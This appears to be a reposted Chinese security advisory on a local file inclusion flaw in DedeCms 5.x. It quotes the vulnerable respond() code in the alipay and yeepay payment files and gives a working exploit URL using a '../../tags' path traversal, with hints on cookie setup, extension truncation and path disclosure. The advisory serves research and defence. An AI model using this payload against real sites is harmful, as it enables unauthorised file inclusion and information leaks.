首页 > 其他 > 详细

DedeCms 5.x 本地文件包含漏洞(respond方法)

时间:2014-03-22 06:49:14      阅读:344      评论:0      收藏:0      [点我收藏+]

漏洞版本:

DedeCms 5.x

漏洞描述:

DedeCms是免费的PHP网站内容管理系统。

plus/carbuyaction.php里没有对变量进行严格的过滤

出现漏洞的两个文件为:
Include/payment/alipay.php
Include/payment/yeepay.php
漏洞均出现在respond方法里

Include/payment/alipay.php
  1. ......
  2. function respond()
  3. {
  4. if(!empty($_POST))
  5. {
  6. foreach($_POST as $key => $data)
  7. {
  8. $_GET[$key]= $data;
  9. }
  10. }
  11. /* 引入配置文件 */
  12. require_once DEDEDATA.‘/payment/‘.$_GET[‘code‘].‘.php‘;
  13. ......
大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。 Include/payment/yeepay.php
  1. ......
  2. function respond()
  3. {
  4. /* 引入配置文件 */
  5. require_once DEDEDATA.‘/payment/‘.$_REQUEST[‘code‘].‘.php‘;
  6. $p1_MerId = trim($payment[‘yp_account‘]);
  7. $merchantKey = trim($payment[‘yp_key‘]);
  8. ......
大概在145行左右,$_REQUEST[‘code‘]没有经过任何判断和过滤。

测试方法:

@Sebug.net   dis
本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
    1. http://www.php0day.com/plus/carbuyaction.php?dopost=return&code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie
    2.  
    3. 由于bankcod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径

DedeCms 5.x 本地文件包含漏洞(respond方法),布布扣,bubuko.com

DedeCms 5.x 本地文件包含漏洞(respond方法)

原文:http://www.cnblogs.com/milantgh/p/3615863.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!